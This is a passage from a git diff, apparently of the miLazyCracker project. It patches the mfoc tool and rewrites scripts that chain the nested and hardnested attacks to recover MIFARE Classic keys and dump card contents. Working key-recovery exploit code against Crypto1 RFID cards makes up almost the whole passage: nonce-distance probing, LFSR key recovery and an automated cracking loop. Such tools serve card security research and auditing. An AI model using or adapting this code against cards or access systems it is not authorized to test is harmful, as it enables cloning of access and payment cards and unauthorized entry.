exiting.."); - exit(EXIT_FAILURE); - } - - // Now print the answer from the tag - // fprintf(stdout, "\t{At}:\t"); - // print_hex_par(Rx,RxLen,RxPar); - - // Decrypt the tag answer and verify that suc3(Nt) is At - Nt = prng_successor(Nt, 32); - if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { - ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); - exit(EXIT_FAILURE); - } - // fprintf(stdout, "Authentication completed.\n\n"); - - // If we are in "Get Distances" mode - if (mode == 'd') { - for (m = 0; m < d->num_distances; m++) { - // fprintf(stdout, "Nested Auth number: %x: ,", m); - // Encrypt Auth command with the current keystream - for (i = 0; i < 4; i++) { - AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; - // Encrypt the parity bits with the 4 plaintext bytes - AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); - } - - // Sending the encrypted Auth command - if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { - fprintf(stdout, "Error requesting encrypted tag-nonce\n"); - exit(EXIT_FAILURE); - } - - // Decrypt the encrypted auth - if (t.sectors[e_sector].foundKeyA) { - pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); - } else { - pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); - } - NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 1); - - // Save the determined nonces distance - d->distances[m] = nonce_distance(Nt, NtLast); - int checkForValidPRNG = dist_nt(Nt, NtLast); - //printf("NT distance: %d\n", checkForValidPRNG); - - // if no distance between, then we are in sync. - if (checkForValidPRNG == 0) { - printf("NT Distance is zero..........\n"); - } else { - if (checkForValidPRNG == -99999) { // invalid nonce received - ++unexpected_random; - if (unexpected_random > 4) { - printf("PRNG is not vulnerable to nested attack\n"); - return -99999; - } - } - } - - // Again, prepare and send {At} - for (i = 0; i < 4; i++) { - ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; - ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); - } - Nt = prng_successor(NtLast, 32); - for (i = 4; i < 8; i++) { - Nt = prng_successor(Nt, 8); - ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xFF); - ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); - } - nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false); - if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { - ERR("Reader-answer transfer error, exiting.."); - exit(EXIT_FAILURE); - } - Nt = prng_successor(Nt, 32); - if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { - ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); - exit(EXIT_FAILURE); - } - } // Next auth probe - - // Find median from all distances - d->median = median(*d); - //fprintf(stdout, "Median: %05d\n", d->median); - } // The end of Get Distances mode - - // If we are in "Get Recovery" mode - if (mode == 'r') { - // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC - Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B; - Auth[1] = a_sector; - iso14443a_crc_append(Auth, 2); - - // Encryption of the Auth command, sending the Auth command - for (i = 0; i < 4; i++) { - AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; - // Encrypt the parity bits with the 4 plaintext bytes - AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); - } - if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { - ERR("while requesting encrypted tag-nonce"); - exit(EXIT_FAILURE); - } - - // Finally we want to send arbitrary parity bits - if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { - nfc_perror(r.pdi, "nfc_device_set_property_bool parity restore M"); - exit(EXIT_FAILURE); - } - - if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0) { - nfc_perror(r.pdi, "nfc_device_set_property_bool crc restore M"); - exit(EXIT_FAILURE); - } - - // Save the encrypted nonce - NtEnc = bytes_to_num(Rx, 4); - - // Parity validity check - for (i = 0; i < 3; ++i) { - d->parity[i] = (oddparity(Rx[i]) != RxPar[i]); - } - - // Iterate over Nt-x, Nt+x - // fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE); - NtProbe = prng_successor(Nt, d->median - d->tolerance); - for (m = d->median - d->tolerance; m <= d->median + d->tolerance; m += 2) { - - // Try to recover the keystream1 - Ks1 = NtEnc ^ NtProbe; - - // Skip this nonce after invalid 3b parity check - revstate_start = NULL; - if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) { - // And finally recover the first 32 bits of the key - revstate = lfsr_recovery32(Ks1, NtProbe ^ t.authuid); - if (revstate_start == NULL) { - revstate_start = revstate; - } - while ((revstate->odd != 0x0) || (revstate->even != 0x0)) { - lfsr_rollback_word(revstate, NtProbe ^ t.authuid, 0); - crypto1_get_lfsr(revstate, &lfsr); - // Allocate a new space for keys - if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) { - pk->size += MEM_CHUNK; - // fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t)); - pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t)); - if (pk->possibleKeys == NULL) { - ERR("Memory allocation error for pk->possibleKeys"); - exit(EXIT_FAILURE); - } - } - pk->possibleKeys[kcount] = lfsr; - kcount++; - revstate++; - } - free(revstate_start); - } - NtProbe = prng_successor(NtProbe, 2); - } - // Truncate - if (kcount != 0) { - pk->size = --kcount; - if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) { - ERR("Memory allocation error for pk->possibleKeys"); - exit(EXIT_FAILURE); - } - } - } - crypto1_destroy(pcs); - return 11; -} - -// Return the median value from the nonce distances array -uint32_t median(denonce d) -{ - int middle = (int) d.num_distances / 2; - qsort(d.distances, d.num_distances, sizeof(uint32_t), compar_int); - - if (d.num_distances % 2 == 1) { - // Odd number of elements - return d.distances[middle]; - } else { - // Even number of elements, return the smaller value - return (uint32_t)(d.distances[middle - 1]); - } -} - -int compar_int(const void *a, const void *b) -{ - return (*(uint64_t *)b - * (uint64_t *)a); -} - -// Compare countKeys structure -int compar_special_int(const void *a, const void *b) -{ - return (((countKeys *)b)->count - ((countKeys *)a)->count); -} - -countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size) -{ - unsigned int i, j = 0; - int count = 0; - countKeys *our_counts; - - qsort(possibleKeys, size, sizeof(uint64_t), compar_int); - - our_counts = calloc(size, sizeof(countKeys)); - if (our_counts == NULL) { - ERR("Memory allocation error for our_counts"); - exit(EXIT_FAILURE); - } - - for (i = 0; i < size; i++) { - if (possibleKeys[i + 1] == possibleKeys[i]) { - count++; - } else { - our_counts[j].key = possibleKeys[i]; - our_counts[j].count = count; - j++; - count = 0; - } - } - qsort(our_counts, j, sizeof(countKeys), compar_special_int); - return (our_counts); -} - - -// Return 1 if the nonce is invalid else return 0 -int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity) -{ - return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) & \ - (odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) & \ - (odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))) ? 1 : 0; -} - -void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest) -{ - while (len--) { - dest[len] = (uint8_t) n; - n >>= 8; - } -} - -long long unsigned int bytes_to_num(uint8_t *src, uint32_t len) -{ - uint64_t num = 0; - while (len--) { - num = (num << 8) | (*src); - src++; - } - return num; -} diff --git a/mfoc_fix_4k_and_mini.diff b/mfoc_fix_4k_and_mini.diff new file mode 100644 index 0000000..c835ad2 --- /dev/null +++ b/mfoc_fix_4k_and_mini.diff @@ -0,0 +1,13 @@ +diff --git a/src/mfoc.c b/src/mfoc.c +index 32ef6f7..babbe15 100644 +--- a/src/mfoc.c ++++ b/src/mfoc.c +@@ -756,7 +756,7 @@ int main(int argc, char *const argv[]) + } + + // Finally save all keys + data to file +- uint16_t dump_size = (t.num_blocks + 1) * t.num_sectors; ++ uint16_t dump_size = (t.num_blocks + 1) * 16; + if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) { + fprintf(stdout, "Error, cannot write dump\n"); + fclose(pfDump); diff --git a/mfoc_support_tnp.diff b/mfoc_support_tnp.diff new file mode 100644 index 0000000..f00bdf9 --- /dev/null +++ b/mfoc_support_tnp.diff @@ -0,0 +1,21 @@ +diff --git a/src/mfoc.c b/src/mfoc.c +index 2c06b16..469b138 100644 +--- a/src/mfoc.c ++++ b/src/mfoc.c +@@ -307,7 +307,7 @@ int main(int argc, char *const argv[]) + } + + // Test if a compatible MIFARE tag is used +- if ((t.nt.nti.nai.btSak & 0x08) == 0) { ++ if (((t.nt.nti.nai.btSak & 0x08) == 0) && (t.nt.nti.nai.btSak != 0x01)) { + ERR("only Mifare Classic is supported"); + goto error; + } +@@ -318,6 +318,7 @@ int main(int argc, char *const argv[]) + // see http://www.nxp.com/documents/application_note/AN10833.pdf Section 3.2 + switch (t.nt.nti.nai.btSak) + { ++ case 0x01: + case 0x08: + case 0x88: + printf("Found Mifare Classic 1k tag\n"); diff --git a/mfoc_test_prng.diff b/mfoc_test_prng.diff new file mode 100644 index 0000000..3a44c5e --- /dev/null +++ b/mfoc_test_prng.diff @@ -0,0 +1,160 @@ +diff --git a/src/mfoc.c b/src/mfoc.c +index 32ef6f7..889669d 100644 +--- a/src/mfoc.c ++++ b/src/mfoc.c +@@ -58,6 +58,48 @@ + + nfc_context *context; + ++uint64_t knownKey = 0; ++char knownKeyLetter = 'A'; ++uint32_t knownSector = 0; ++uint32_t unknownSector = 0; ++char unknownKeyLetter = 'A'; ++uint32_t unexpected_random = 0; ++ ++// Determine the distance between two nonces. ++// Assume that the difference is small, but we don't know which is first. ++// Therefore try in alternating directions. ++int32_t dist_nt(uint32_t nt1, uint32_t nt2) { ++ ++ if (nt1 == nt2) return 0; ++ ++ uint16_t i; ++ uint32_t nttmp1 = nt1; ++ uint32_t nttmp2 = nt2; ++ ++ for (i = 1; i < (32768/8); ++i) { ++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i; ++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -i; ++ ++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+1; ++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+1); ++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+2; ++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+2); ++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+3; ++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+3); ++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+4; ++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+4); ++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+5; ++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+5); ++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+6; ++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+6); ++ nttmp1 = prng_successor(nttmp1, 1); if (nttmp1 == nt2) return i+7; ++ nttmp2 = prng_successor(nttmp2, 1); if (nttmp2 == nt1) return -(i+7); ++ } ++ // either nt1 or nt2 are invalid nonces ++ return(-99999); ++} ++ ++ + int main(int argc, char *const argv[]) + { + const nfc_modulation nm = { +@@ -117,6 +159,7 @@ int main(int argc, char *const argv[]) + + mifare_cmd mc; + FILE *pfDump = NULL; ++ FILE *pfKey = NULL; + + //File pointers for the keyfile + FILE * fp; +@@ -200,6 +243,14 @@ int main(int argc, char *const argv[]) + } + // fprintf(stdout, "Output file: %s\n", optarg); + break; ++ case 'D': ++ // Partial File output ++ if (!(pfKey = fopen(optarg, "w"))) { ++ fprintf(stderr, "Cannot open: %s, exiting\n", optarg); ++ exit(EXIT_FAILURE); ++ } ++ // fprintf(stdout, "Output file: %s\n", optarg); ++ break; + case 'h': + usage(stdout, 0); + break; +@@ -421,14 +472,28 @@ int main(int argc, char *const argv[]) + + fprintf(stdout, "\n"); + for (i = 0; i < (t.num_sectors); ++i) { +- if(t.sectors[i].foundKeyA) ++ if(t.sectors[i].foundKeyA){ + fprintf(stdout, "Sector %02d - Found Key A: %012llx ", i, bytes_to_num(t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA))); +- else ++ memcpy(&knownKey, t.sectors[i].KeyA, 6); ++ knownKeyLetter = 'A'; ++ knownSector = i; ++ } ++ else{ + fprintf(stdout, "Sector %02d - Unknown Key A ", i); +- if(t.sectors[i].foundKeyB) ++ unknownSector = i; ++ unknownKeyLetter = 'A'; ++ } ++ if(t.sectors[i].foundKeyB){ + fprintf(stdout, "Found Key B: %012llx\n", bytes_to_num(t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB))); +- else ++ knownKeyLetter = 'B'; ++ memcpy(&knownKey, t.sectors[i].KeyB, 6); ++ knownSector = i; ++ } ++ else{ + fprintf(stdout, "Unknown Key B\n"); ++ unknownSector = i; ++ unknownKeyLetter = 'B'; ++ } + } + fflush(stdout); + +@@ -504,7 +569,18 @@ int main(int argc, char *const argv[]) + // Max probes for auth for each sector + for (k = 0; k < probes; ++k) { + // Try to authenticate to exploit sector and determine distances (filling denonce.distances) +- mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode ++ int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode ++ if(authresult == -99999){ ++ //for now we return the last sector that is unknown ++ nfc_close(r.pdi); ++ nfc_exit(context); ++ if(pfKey) { ++ fprintf(pfKey, "%012llx;%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter); ++ fclose(pfKey); ++ } ++ return 9; ++ } ++ + printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median); + // Configure device to the previous state + mf_configure(r.pdi); +@@ -720,6 +796,7 @@ void usage(FILE *stream, int errno) + fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); + // fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n"); + fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n"); ++ fprintf(stream, " D file in which partial card info will be written in case PRNG is not vulnerable\n"); + fprintf(stream, "\n"); + fprintf(stream, "Example: mfoc -O mycard.mfd\n"); + fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); +@@ -979,7 +1056,21 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d + + // Save the determined nonces distance + d->distances[m] = nonce_distance(Nt, NtLast); +- // fprintf(stdout, "distance: %05d\n", d->distances[m]); ++ int checkForValidPRNG = dist_nt(Nt, NtLast); ++ //printf("NT distance: %d\n", checkForValidPRNG); ++ ++ // if no distance between, then we are in sync. ++ if (checkForValidPRNG == 0) { ++ printf("NT Distance is zero..........\n"); ++ } else { ++ if (checkForValidPRNG == -99999) { // invalid nonce received ++ ++unexpected_random; ++ if (unexpected_random > 4) { ++ printf("PRNG is not vulnerable to nested attack\n"); ++ return -99999; ++ } ++ } ++ } + + // Again, prepare and send {At} + for (i = 0; i < 4; i++) { diff --git a/miLazyCracker.sh b/miLazyCracker.sh old mode 100644 new mode 100755 index 655262a..c0677a2 --- a/miLazyCracker.sh +++ b/miLazyCracker.sh @@ -1,71 +1,79 @@ #!/bin/bash -mfoc -O /tmp/asdf1234zxcvqwerlkjh0978.mfd +myUID=$(nfc-list -t 1|sed -n 's/ //g;/UID/s/.*://p') +TMPFILE_MFD="mfc_${myUID}_dump.mfd" +TMPFILE_UNK="mfc_${myUID}_unknownMfocSectorInfo.txt" +TMPFILE_FND="mfc_${myUID}_foundKeys.txt" + +if [ -f "$TMPFILE_FND" ]; then + mfoc -f "$TMPFILE_FND" -O "$TMPFILE_MFD" -D "$TMPFILE_UNK" +else + mfoc -O "$TMPFILE_MFD" -D "$TMPFILE_UNK" +fi mfocResult=$? prngNotVulnerable=9 keepTrying=1 foundKeysForMFOC=" " -while [ $keepTrying -eq 1 ] -do -#echo "MFOC result: $mfocResult" -if [ "$mfocResult" == "$prngNotVulnerable" ];then - echo "MFOC not possible, detected hardened Mifare Classic" - if [ "$mfocResult" -eq 9 ];then - FILENAME="/tmp/unknownMfocSectorInfo_123456asdfqwer.txt" - count=0 - while read LINE - do - let count++ - #echo "$count $LINE" - done < $FILENAME +while [ $keepTrying -eq 1 ]; do + #echo "MFOC result: $mfocResult" + if [ "$mfocResult" == "$prngNotVulnerable" ]; then + echo "MFOC not possible, detected hardened Mifare Classic" + if [ "$mfocResult" -eq 9 ]; then + count=0 + while read LINE; do + let count++ + #echo "$count $LINE" + done < "$TMPFILE_UNK" - arr=(`echo $LINE | tr ';' ' '`) - #echo ${arr[0]} - #echo ${arr[1]} - #echo ${arr[2]} - #echo ${arr[3]} - #echo ${arr[4]} + arr=(`echo $LINE | tr ';' ' '`) + #echo ${arr[0]} + #echo ${arr[1]} + #echo ${arr[2]} + #echo ${arr[3]} + #echo ${arr[4]} - knownKey=${arr[0]} - knownSectorNum=${arr[1]} - knownKeyLetter=${arr[2]} - unknownSectorNum=${arr[3]} - unknownKeyLetter=${arr[4]} - knownBlockNum=$(($knownSectorNum * 4)) - unknownBlockNum=$(($unknownSectorNum * 4)) - echo "Trying HardNested Attack..." - mycmd=(libnfc_crypto1_crack "$knownKey" "$knownBlockNum" "$knownKeyLetter" "$unknownBlockNum" "$unknownKeyLetter") - echo "${mycmd[@]}" - "${mycmd[@]}" + knownKey=${arr[0]} + knownSectorNum=${arr[1]} + knownKeyLetter=${arr[2]} + unknownSectorNum=${arr[3]} + unknownKeyLetter=${arr[4]} + knownBlockNum=$(($knownSectorNum * 4)) + unknownBlockNum=$(($unknownSectorNum * 4)) + echo "Trying HardNested Attack..." + mycmd=(libnfc_crypto1_crack "$knownKey" "$knownBlockNum" "$knownKeyLetter" "$unknownBlockNum" "$unknownKeyLetter" "$TMPFILE_FND") + echo "${mycmd[@]}" + "${mycmd[@]}" else - echo "mfoc returned: $mfocResult" - keepTrying=0 - fi + echo "mfoc returned: $mfocResult" + keepTrying=0 + fi cryptoCrackResult=$? if [ "$cryptoCrackResult" -eq 0 ];then - FILENAME="/tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt" - while read LINE - do - echo "$LINE" - done < $FILENAME + while read LINE + do + echo "$LINE" + done < "$TMPFILE_FND" - #arr=(`echo $LINE | tr ';' ' '`) - #echo ${arr[0]} - #echo ${arr[1]} - #echo ${arr[2]} - #foundKeysForMFOC="$foundKeysForMFOC-k ${arr[0]} " - mycmd=(mfoc -f "$FILENAME" -O /tmp/asdf1234zxcvqwerlkjh0978.mfd) - echo "${mycmd[@]}" - "${mycmd[@]}" - mfocResult=$? + #arr=(`echo $LINE | tr ';' ' '`) + #echo ${arr[0]} + #echo ${arr[1]} + #echo ${arr[2]} + #foundKeysForMFOC="$foundKeysForMFOC-k ${arr[0]} " + mycmd=(mfoc -f "$TMPFILE_FND" -O "$TMPFILE_MFD" -D "$TMPFILE_UNK") + echo "${mycmd[@]}" + "${mycmd[@]}" + mfocResult=$? fi -else - keepTrying=0 -fi + else + keepTrying=0 + fi done -rm -rf /tmp/asdf1234zxcvqwerlkjh0978.mfd -rm -rf /tmp/foundKey_Crapto1_Libnfc_1234567890qwerasdf.txt -rm -rf /tmp/unknownMfocSectorInfo_123456asdfqwer.txt +rm -f "$TMPFILE_UNK" "$TMPFILE_FND" "0x${myUID}_"*".txt" +if [ $mfocResult -eq 0 ]; then + echo -e "\n\nDump left in: $TMPFILE_MFD" +else + rm -f "$TMPFILE_MFD" +fi diff --git a/miLazyCrackerFreshInstall.sh b/miLazyCrackerFreshInstall.sh index 8988255..0b02392 100644 --- a/miLazyCrackerFreshInstall.sh +++ b/miLazyCrackerFreshInstall.sh @@ -1,26 +1,40 @@ -#run this from inside miLazyCracker git repo +#!/bin/bash -sudo apt-get install git -sudo apt-get install libnfc-bin -sudo apt-get install autoconf -sudo apt-get install libnfc-dev +set -x -#install MFOC -git clone https://github.com/nfc-tools/mfoc.git +# run this from inside miLazyCracker git repo + +sudo apt-get install git libnfc-bin autoconf libnfc-dev + +# install MFOC +[ -d mfoc ] || git clone https://github.com/nfc-tools/mfoc.git cd mfoc -cp ../mfoc.c src/ #copy in modified mfoc.c -sudo autoreconf -vfi +git reset --hard +git clean -dfx +# patch initially done against commit 48156f9b: +patch -p1 < ../mfoc_test_prng.diff +patch -p1 < ../mfoc_fix_4k_and_mini.diff +patch -p1 < ../mfoc_support_tnp.diff +autoreconf -vfi ./configure -sudo make +make sudo make install cd .. -#install Hardnested Attack Tool -git clone https://github.com/aczid/crypto1_bs +# install Hardnested Attack Tool +[ -d crypto1_bs ] || git clone https://github.com/aczid/crypto1_bs cd crypto1_bs -cp ../libnfc_crypto1_crack.c . #copy in modified .c +git reset --hard +git clean -dfx +# patch initially done against commit 957702be: +patch -p1 < ../crypto1_bs.diff make get_craptev1 make get_crapto1 make -sudo cp libnfc_crypto1_crack /usr/bin +sudo cp -a libnfc_crypto1_crack /usr/local/bin + +cd .. + +# install our script +sudo cp -a miLazyCracker.sh /usr/local/bin/miLazyCracker diff --git a/miLazyCrackerUninstall.sh b/miLazyCrackerUninstall.sh new file mode 100755 index 0000000..51ec2f0 --- /dev/null +++ b/miLazyCrackerUninstall.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +# uninstall dependencies +#sudo apt-get remove git +#sudo apt-get remove libnfc-bin +#sudo apt-get remove autoconf +#sudo apt-get remove libnfc-dev + +# uninstall MFOC +sudo rm -f /usr/local/bin/mfoc /usr/local/share/man/man1/mfoc.1 + +# uninstall Hardnested Attack Tool +sudo rm -f /usr/local/bin/libnfc_crypto1_crack + +# uninstall our script +sudo rm -f /usr/local/bin/miLazyCracker